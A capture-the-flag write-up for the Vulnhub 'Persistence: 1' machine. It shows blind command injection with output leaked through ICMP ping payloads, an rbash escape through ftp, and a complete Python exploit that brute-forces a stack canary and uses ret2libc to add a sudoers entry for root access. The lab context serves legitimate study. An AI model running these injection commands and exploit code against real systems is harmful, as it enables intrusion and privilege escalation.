Persistence: 1 (Stack Canary(SSP) + NX bypass)

Twitter: @teh_h3ck

Email: teh3ck@gmail.com


Persistence is a boot 2 root machine by sagi- and superkojiman, hosted in Vulnhub.

URL: http://vulnhub.com/entry/persistence-1,103/


Portscan

Nmap scan report for 192.168.74.148  
Host is up (0.0015s latency).  
Not shown: 998 filtered ports  
PORT   STATE SERVICE  
80/tcp open  http  

So we have only a webserver running at the moment.

I fired up DirBuster and bruteforced the webserver to find files and the result is:

http://192.168.74.148/debug.php

Blind Remote Code Execution

I tried to inject commands with no luck for command results. There isn't a <div> in the code for the ping responses.

The next step is to snif the network for ICMP packets in order to get the results of the executed commands.

; ls | xxd -p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.74.2; done

The result is:

sysadmin-tool

I downloaded sysadmin-tool via the web interface http://[IP]/sysadmin-tool and then i run the strings program with sysadmin-tool as input:

$strings sysadmin-tool
Usage: sysadmin-tool --activate-service  
--activate-service
breakout  
/bin/sed -i 's/^#//' /etc/sysconfig/iptables
/sbin/iptables-restore < /etc/sysconfig/iptables
Service started...  
Use avida:dollars to access.  
; ./sysadmin-tool --activate-service | xxd -p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.74.2; done

command results1 command_results2

Port 22 is opened and i managed to login with the provided credentials avida:dollars

Escaping rbash

Since there is no find, awk, vi programs available, i wanted to find a program that lets me to break out from the jail. And that is.... FTP!

ftp> !/bin/sh  

I have to set the right PATH environment variable for the linux programs to work properly.

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"  

From ps axuww command i found a not known program that is running as root

root 1109 0.0 0.0 2004 412 ? S Sep14 0:00 /usr/local/bin/wopr

Copying the binary to my local system

ssh [email protected] cat /usr/local/bin/wopr > /root/wopr

sh-4.1$ netstat -antp  
Active Internet connections (servers and established)  
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name  
tcp        0      0 0.0.0.0:3333                0.0.0.0:*                   LISTEN      -  
tcp        0      0 127.0.0.1:9000              0.0.0.0:*                   LISTEN      -  
...snip...

After running wopr we can see that it runs in port 3333.

$file wopr 
wopr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0xf3670b255a391321eab8dcf521f320a1e9e1d843, not stripped  

Checking if the SSP is applied to the binary

$ readelf -s /root/Desktop/wopr | grep stack
    16: 00000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.4 (3)
    73: 00000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]@GLIBC_2

$ objdump -D /root/Desktop/wopr | grep stack
0804865c <[email protected]>:  
 80487d7:    e8 80 fe ff ff          call   804865c <[email protected]>

Here is a short description of how stack canaries work:

  • kernel sets register GS at offset 0x14
  • binary saves it between variable and saved EBP
  • binary runs
  • binary compares the canary and the register
  • binary stops its execution if values are not the same

checksec

No ASLR! YAYY!

$ cat /proc/sys/kernel/randomize_va_space
0  

Let's see what strings are hardcoded in the binary.

$strings /usr/local/bin/wopr
/lib/ld-linux.so.2
__gmon_start__  
libc.so.6  
...
[+] bind complete
listen  
/tmp/log
TMPLOG  
[+] waiting for connections
...

Hmm, /tmp/log is hardcoded in the binary. Let's find its memory address from Hopper Disassembler.

tmplog

The address of /tmp/log is 0x08048c60.

Here is where the canary is initiated:

 0x08048802 <+36>:    mov    %gs:0x14,%eax
   0x08048808 <+42>:    mov    %eax,-0x4(%ebp)
   0x0804880b <+45>:    xor    %eax,%eax

At the end of the protected function, it compares the value of %gs:0x14 with eax register and if they are the same, the app will end properly. In other case, function [email protected] will be called.

 0x080487ce <+90>:    xor    %gs:0x14,%eax
   0x080487d5 <+97>:    je     0x80487dc <get_reply+104>
   0x080487d7 <+99>:    call   0x804865c <[email protected]>

Options used in gdb:

We want gdb to follow the children in order to bruteforce the canary.

gdb-peda$ set follow-fork-mode child  
gdb-peda$ set detach-on-fork off  

The program uses fork() without execve(). That means that the canary remains the same.

We have x86 arch.
That means 00-ff == 256 possible values for each byte
For all canary bytes: 256*4 bytes = 1024 possible values.

And yes, that's bruteforcable!

Here is how this method works:

First, we overwrite the first byte of canary and we check when the program
ends with an error and when does not. Message "Bye" means that the program exits normally and we have guessed the first byte of the stack canary, so we can continue bruteforcing the next byte.

Here is the drawing of the four steps (each being a particular byte guess):

First byte:

|.. 30 bytes ..| .. X .. | .. C.. | .. C .. | .. C .. |

Second byte:

| .. 30 bytes .. | .. X .. | .. Y .. | .. C .. | .. C .. |

Third byte:

| .. 30 bytes ..| .. X .. | .. Y .. | .. Z .. | .. C .. |

Fourth byte:

| .. 30 bytes .. | .. X .. | .. Y .. | .. Z .. | .. A .. |

When the attack is finished, we know that the canary's value is XYZA. Since
the canary is overwritten by its original value, the memory corruption is
not detected.

After some fuzzing of the wopr, i managed to find the payload structure which is:

[30 bytes][4 bytes canary][4 bytes garbage][&EIP][4 bytes return address][&/tmp/log address]

Finding system address

I run gdb with a random program in order to print system() address from libc. Since there is no ASLR it will be the same each time.

gdb -q address  
Reading symbols from /tmp/address...(no debugging symbols found)...done.  
(gdb) r
Starting program: /tmp/address  
(gdb) p system
$1 = {<text variable, no debug info>} 0x16c210 <system>
#Wopr Exploit
#Twitter @teh_h3ck
#system() address 0x16c210
#/log/tmp address  0x08048c60
#payload [30 random bytes] + [4b canary] + ['h3ck']+ [&system] + ['h3ck'] + [&/tmp/log]


import sys  
import os  
import re  
import socket  
import struct

print "[*] Setting Shell env variable as /bin/sh..."  
os.environ["SHELL"] = "/bin/sh"  
print "[*] Creating random program to get system() address from libc..."  
file = open("/tmp/teh3ck.c", "w")  
file.write("#include<stdio.h>\n")  
file.write("void main(){\n")  
file.write('printf("Hello teh3ck");}')  
file.close()

print "[*] Compiling random program..."  
os.system("gcc /tmp/teh3ck.c -o /tmp/teh3ck")  
print "[*] Chmoding random program..."  
os.system("chmod +x /tmp/teh3ck")  
print "[*] Launching random program to get system() address..."  
system_addr = int(os.popen("gdb /tmp/teh3ck -q -batch -n -ex 'r' -ex 'p system' | tr '\n' ' ' | cut -d' ' -f15").read().split("0x")[1], 16)  
print "[*] system is at", hex(system_addr)

if not (system_addr):  
    print "[!] Can't resolve system() address"
    sys.exit()


print "[*] Getting /tmp/log hardcoded address inside /usr/local/bin/wopr..."  
os.system("cp /usr/local/bin/wopr /tmp/")

test = os.popen("objdump -j .rodata -s /tmp/wopr | grep /tmp/log").read()

tmplog_addr = int(test.split()[0],16)  
letters = test.split()[5]  
for a in letters:  
    if a == '/':
        break
    tmplog_addr +=1

print "[*] /tmp/log is at", hex(tmplog_addr)  
if not tmplog_addr:  
    print "[!] Can't resolve /tmp/log address"
    sys.exit()


print "[*] Creating /tmp/log file..."  
file = open("/tmp/log", "w")  
file.write("#!/bin/sh\n")  
file.write("echo 'avida  ALL=(ALL:ALL) ALL' >> /etc/sudoers\n")  
file.close()

print "[*] Chmoding /tmp/log as executable..."  
os.system("chmod +x /tmp/log")


canary = ""  
for byte in xrange(4):  
    for canary_byte in xrange(256):
        hex_byte = chr(canary_byte)
        request = 'A'*30 + canary + hex_byte
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("localhost", 3333))
        s.recv(1024)
        s.send(request)
        response = s.recv(1024)
        a = s.recv(1024)
        s.close()
        if "bye" in a:
            canary += hex_byte
            print "[*] canary byte found " + hex(canary_byte)
            break
print("[*] Total canary found " + canary.encode("hex"))

request = 'A'*30 +  canary  + 'h3ck' + struct.pack("<I", system_addr) + 'h3ck' + struct.pack("<I", tmplog_addr)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("localhost", 3333))  
s.recv(1024)  
s.send(request)  
s.recv(1024)  
a = s.recv(1024)  
s.recv(1024)  
s.close()

print "[*] Run 'sudo su'"  

W00t

sh-4.1$sudo su  
[sudo] password for avida:
[[email protected] tmp]#
[[email protected] tmp]#cat /root/flag.txt
              .d8888b.  .d8888b. 888
             d88P  Y88bd88P  Y88b888
             888    888888    888888
888  888  888888    888888    888888888  
888  888  888888    888888    888888  
888  888  888888    888888    888888  
Y88b 888 d88PY88b  d88PY88b  d88PY88b.  
 "Y8888888P"  "Y8888P"  "Y8888P"  "Y888

Congratulations!!! You have the flag!

We had a great time coming up with the  
challenges for this boot2root, and we  
hope that you enjoyed overcoming them.

Special thanks goes out to @VulnHub for  
hosting Persistence for us, and to  
@recrudesce for testing and providing
valuable feedback!

Until next time,  
      sagi- & superkojiman